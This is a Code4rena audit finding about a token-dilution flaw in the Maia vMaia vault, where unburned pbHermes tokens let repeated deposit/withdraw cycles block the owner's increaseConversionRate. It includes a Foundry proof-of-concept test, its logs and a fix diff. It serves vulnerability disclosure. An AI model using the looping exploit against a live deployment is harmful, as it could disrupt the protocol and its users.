Maia Governance token balance dilution in `vMaia` vault is breaking the conversion rate mechanism

mediumCode4rena

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/maia/tokens/ERC4626PartnerManager.sol#L235-L246 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/maia/tokens/ERC4626PartnerManager.sol#L215-L229

Vulnerability details

Impact

Once a user deposits Maia ERC-20 tokens into the vMaia ERC-4626 vault, he is eligible to claim 3 kinds of utility tokens, bHermes Weight & Governance and Maia Governance (pbHermes, partner governance). On each deposit, new Maia Governance tokens (pbHermes) are minted to the vault in proportion to the deposited amount, but those tokens are never burned on withdrawal. This naturally dilutes the vault's pbHermes token balance during the course of users depositing & withdrawing Maia tokens. Futhermore, a malicious user can dramatically accelerate this dilution by repeatedly depositing & withdrawing within a single transaction.
Note that the vault's bHermes Weight & Governance token balances are not diluted during this process.

However, the ERC4626PartnerManager.increaseConversionRate(...) method (ERC4626PartnerManager is base of vMaia contract) relies on the vault's pbHermes token balance and therefore imposes a lower limt on an increased pbHermes<>bHermes coversion rate to avoid underflow, see L226: min. rate = vault balance of pbHermes / Maia tokens in vault. Meanwhile the upper limit for a new conversion rate is given by L219: max. rate = vault balance of bHermes / Maia tokens in vault.

As a consquence, the vMaia vault owner's ability to increase the conversion rate is successively constrained by user deposits & withdrawals, until the point where the dilution of pbHermes reaches vault balance of pbHermes > vault balance of bHermes which leads to complete DoS of the ERC4626PartnerManager.increaseConversionRate(...) method.

Proof of Concept

The following PoC verifies the above claims about pbHermes dilution and increaseConversionRate(...) DoS, just apply the diff below and run the new in-line documented test case with forge test -vv --match-test testDepositMaiaDilutionUntilConversionRateFailure:

diff
diff --git a/test/maia/vMaiaTest.t.sol b/test/maia/vMaiaTest.t.sol
index 6efabc5..2af982e 100644
--- a/test/maia/vMaiaTest.t.sol
+++ b/test/maia/vMaiaTest.t.sol
@@ -7,6 +7,7 @@ import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";

 import {vMaia, PartnerManagerFactory, ERC20} from "@maia/vMaia.sol";
 import {IBaseVault} from "@maia/interfaces/IBaseVault.sol";
+import {IERC4626PartnerManager} from "@maia/interfaces/IERC4626PartnerManager.sol";
 import {MockVault} from "./mock/MockVault.t.sol";

 import {bHermes} from "@hermes/bHermes.sol";
@@ -47,7 +48,7 @@ contract vMaiaTest is DSTestPlus {
             "vMAIA",
             address(bhermes),
             address(vault),
-            address(0)
+            address(this) // set owner to allow call to 'increaseConversionRate'
         );
     }

@@ -86,6 +87,39 @@ contract vMaiaTest is DSTestPlus {
         assertEq(vmaia.balanceOf(address(this)), amount);
     }

+    function testDepositMaiaDilutionUntilConversionRateFailure() public {
+        testDepositMaia();
+        uint256 amount = vmaia.balanceOf(address(this));
+
+        // fast-forward to withdrawal Tuesday
+        hevm.warp(getFirstDayOfNextMonthUnix());
+
+        for(uint256 i = 0; i < 10; i++) {
+            // get & print bHermes & pbHermes vault balances
+            uint256 bHermesBal = bhermes.balanceOf(address(vmaia));
+            uint256 pbHermesBal = vmaia.partnerGovernance().balanceOf(address(vmaia));
+            console2.log("vault balance of bHermes: ", bHermesBal);
+            console2.log("vault balance of pbHermes:", pbHermesBal);
+
+            // dilute pbHermes by withdraw & deposit cycle
+            vmaia.withdraw(amount, address(this), address(this));
+            maia.approve(address(vmaia), amount);
+            vmaia.deposit(amount, address(this));
+
+            // get diluted pbHermes balance and compute min. conversion rate accordingly
+            pbHermesBal = vmaia.partnerGovernance().balanceOf(address(vmaia));
+            uint256 minNewConversionRate = pbHermesBal / vmaia.totalSupply();
+            // check if dilution caused constraints are so bad that we get DoS
+            if (pbHermesBal > bHermesBal)
+            {
+                hevm.expectRevert(IERC4626PartnerManager.InsufficientBacking.selector);
+            }
+            vmaia.increaseConversionRate(minNewConversionRate);
+        }
+
+
+    }
+
     function testDepositMaiaAmountFail() public {
         assertEq(vmaia.bHermesRate(), bHermesRate);

We can clearly see the increasing dilution after each withdrawal-deposit cycle and get the expected revert, see if-condition, after reaching critical dilution:

[PASS] testDepositMaiaDilutionUntilConversionRateFailure() (gas: 1759462)
Logs:
  2023 2
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 100000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 200000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 400000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 800000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 1600000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 2400000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 3200000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 4000000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 4800000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 5600000000000000000000

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Burn the excess pbHermes tokens on withdrawal from vMaia vault:

diff
diff --git a/src/maia/tokens/ERC4626PartnerManager.sol b/src/maia/tokens/ERC4626PartnerManager.sol
index b912bab..31cfef7 100644
--- a/src/maia/tokens/ERC4626PartnerManager.sol
+++ b/src/maia/tokens/ERC4626PartnerManager.sol
@@ -252,6 +252,7 @@ abstract contract ERC4626PartnerManager is PartnerUtilityManager, Ownable, ERC46
      * @param amount amounts of vMaia to burn
      */
     function _burn(address from, uint256 amount) internal virtual override checkTransfer(from, amount) {
+        ERC20MultiVotes(partnerGovernance).burn(address(this), amount * bHermesRate);
         super._burn(from, amount);
     }

We can see that this fixes the dilution issue:

[PASS] testDepositMaiaDilutionUntilConversionRateFailure() (gas: 2150656)
Logs:
  2023 2
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 100000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 100000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 100000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 100000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 100000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 100000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 100000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 100000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 100000000000000000000
  vault balance of bHermes:  1000000000000000000000
  vault balance of pbHermes: 100000000000000000000